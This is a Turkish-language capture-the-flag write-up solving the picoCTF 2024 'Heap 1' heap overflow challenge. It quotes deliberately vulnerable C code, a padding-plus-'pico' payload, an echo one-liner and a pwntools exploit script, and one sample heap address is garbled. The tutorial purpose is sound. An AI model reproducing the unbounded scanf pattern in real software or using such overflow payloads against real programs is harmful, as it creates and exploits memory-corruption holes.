PICOCTF PicoCTF 2024 - Heap 1: Heap Overflow Zafiyetinin Temelleri

Navigation

Computer Science

Mathematics

Security

PicoCTF

HackTheBox

TryHackMe

Geometry

Cheatsheet

Sosyal Medya

Güncel Makaleler

Yükleniyor...
Erciyes Uni.
Bilgisayar Muh.
CBFRPRO CBTEAMER CNPEN eMAPT

PicoCTF

PicoCTF 2024 - Heap 1: Heap Overflow Zafiyetinin Temelleri

December 24, 2025

Heap Overflow Diagram Şekil 1: Heap Overflow zafiyetinin görselleştirilmesi. Normal durumda ‘input_data’ ve ‘safe_var’ arasındaki padding boşluğu, taşma (leak) sırasında user girdisiyle dolarak hedef değişkenin üzerine yazılır.

Giriş

Bu challenge, heap overflow (yığın taşması) zafiyetini anlamamızı ve exploit etmemizi istiyor. Heap, programların çalışma zamanında dinamik bellek tahsis ettiği bir bellek bölgesidir. Stack’ten farklı olarak, heap’te veriler malloc() gibi fonksiyonlarla manuel olarak ayrılır.


Kaynak Kod Analizi

Kritik Değişkenler

#define INPUT_DATA_SIZE 5
#define SAFE_VAR_SIZE 5

char *safe_var;
char *input_data;

İki global pointer tanımlanmış ve her biri için heap’te 5 byte’lık alan ayrılacak.

Başlatma Fonksiyonu (init)

void init() {
    input_data = malloc(INPUT_DATA_SIZE);  // 5 byte ayır
    strncpy(input_data, "pico", INPUT_DATA_SIZE);  // "pico" yaz
    
    safe_var = malloc(SAFE_VAR_SIZE);      // 5 byte daha ayır
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);  // "bico" yaz
}

Burada önemli bir nokta var: input_data önce, safe_var sonra tahsis ediliyor. Heap’te bu iki alan ardışık (veya yakın) adreslerde bulunacak.

Kazanma Koşulu (check_win)

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");
        // Flag yazdırılır
    }
}

safe_var değişkeninin değeri "pico" olursa flag’i alıyoruz. Ancak başlangıçta bu değer "bico" olarak atanmış.

Zafiyetli Fonksiyon (write_buffer)

void write_buffer() {
    printf("Data for buffer: ");
    scanf("%s", input_data);  // TEHLİKE!
}

İşte zafiyetin kaynağı! scanf("%s", ...) fonksiyonu girdiyi okurken hiçbir boyut kontrolü yapmaz. Boşluk karakterine kadar ne kadar veri girilirse girilsin hepsini okur. Ancak input_data için sadece 5 byte ayrılmıştı. Bu durum buffer overflow zafiyetine yol açar.


Heap Bellek Yapısı

Program çalıştığında heap şu şekilde görünür:

Heap Chunk Structure Şekil 2: Malloc chunk anatomisi. Her tahsisat için bir metadata (header) eklenir ve bellek hizalaması (alignment) için padding bırakılır.

Modern malloc implementasyonları (glibc) her tahsisat için metadata (chunk header) ekler ve bellek hizalaması (alignment) yapar. 64-bit sistemlerde bu genellikle 16 byte sınırlarına hizalanır.

Programı çalıştırıp “Print Heap” seçeneğini kullandığımızda:

[*]   0x5555555592a0  ->   pico
[*]   0x5555555592c0  ->   bico

0x5555555592c0 - 0x5555555592a0 = 0x20 = 32 byte

Yani input_data ile safe_var arasında 32 byte var.


Exploit Stratejisi

Amacımız safe_var değişkeninin içeriğini "bico" dan "pico" ya değiştirmek.

Bunun için yapacağımız şey şu: write_buffer() fonksiyonunu kullanarak input_data buffer’ına 32 byte’tan fazla veri yazacağız. İlk 32 byte, input_data ve aradaki boşluğu dolduracak, sonraki 4 byte ise safe_var‘ın üzerine yazılacak.

Yazılacak veri: [32 byte dolgu] + [pico]

Heap görünümü (yazma sonrası):
+------------------+------------------+
|  AAAAAAAAAAAAA   |  AAAAAAAAAAAAA   |  <- 32 byte 'A'
+------------------+------------------+
|       pico       |                  |  <- safe_var üzerine yazıldı!
+------------------+------------------+

Adım Adım Çözüm

Adım 1: Programı Başlat

$ ./chall

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever 
info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5baborc92a0  ->   pico
+-------------+----------------+
[*]   0x5b4bc6c92c0  ->   bico
+-------------+----------------+

Adım 2: Offset Hesapla

Adreslere bakarak: 0x...2c0 - 0x...2a0 = 0x20 = 32 byte

Adım 3: Payload Oluştur

32 tane ‘A’ karakteri ve ardından “pico”:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

Adım 4: Exploit’i Çalıştır

Menüden seçenek 2’yi seç ve payload’ı gir:

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

Adım 5: Durumu Kontrol Et (Opsiyonel)

Seçenek 1 ile heap durumunu kontrol edebilirsin:

Enter your choice: 1
Heap State:
+-------------+----------------+
[*]   0x5b4bc6c92a0  ->   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico
+-------------+----------------+
[*]   0x5b4bc6c92c0  ->   pico    <- Değişti!
+-------------+----------------+

Adım 6: Flag’i Al

Seçenek 4’ü seç:

Enter your choice: 4

YOU WIN
picoCTF{...}

Exploit Success Şekil 3: Yerel ortamda exploit’in başarıyla çalıştırılması ve “YOU WIN” mesajının alınması.

Final Flag Şekil 4: Uzak sunucu üzerinde exploit’in çalıştırılması ve nihai flag’in elde edilmesi.


Tek Satırda Exploit

echo -e "2\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico\n4" | ./chall

veya Python ile:

from pwn import *

p = process('./chall')
# veya: p = remote('host', port)

p.sendlineafter('choice: ', '2')
p.sendlineafter('buffer: ', 'A'*32 + 'pico')
p.sendlineafter('choice: ', '4')

p.interactive()

Öğrenilen Kavramlar

Heap Overflow, stack overflow’a benzer ancak heap bölgesinde gerçekleşir. malloc() ile ayrılan alanların sınırlarının aşılması, heap’teki diğer verilerin üzerine yazılmasına neden olur.

Bellek Hizalama (Memory Alignment) konusunda modern sistemler performans için verileri belirli sınırlara hizalar. Bu yüzden 5 byte istesek bile malloc aslında daha fazla alan ayırır.

scanf Tehlikesi açısından scanf("%s", ...) asla güvenli değildir çünkü boyut kontrolü yapmaz. Güvenli alternatifler olarak fgets() veya scanf("%4s", ...) gibi boyut sınırlı formatlar kullanılmalıdır.


Sonuç

Bu challenge, heap overflow zafiyetinin temellerini öğretmek için tasarlanmış güzel bir başlangıç seviyesi problem. Gerçek dünyada heap exploitation çok daha karmaşıktır (heap metadata corruption, use-after-free, double-free gibi teknikler) ancak temel mantık aynıdır: bellek sınırlarını aşarak kontrolümüz dışındaki verileri manipüle etmek.

Paylaş

Yorumlar

🔔
Yeni yazılardan haberdar ol! Bildirim al, hiçbir yazıyı kaçırma.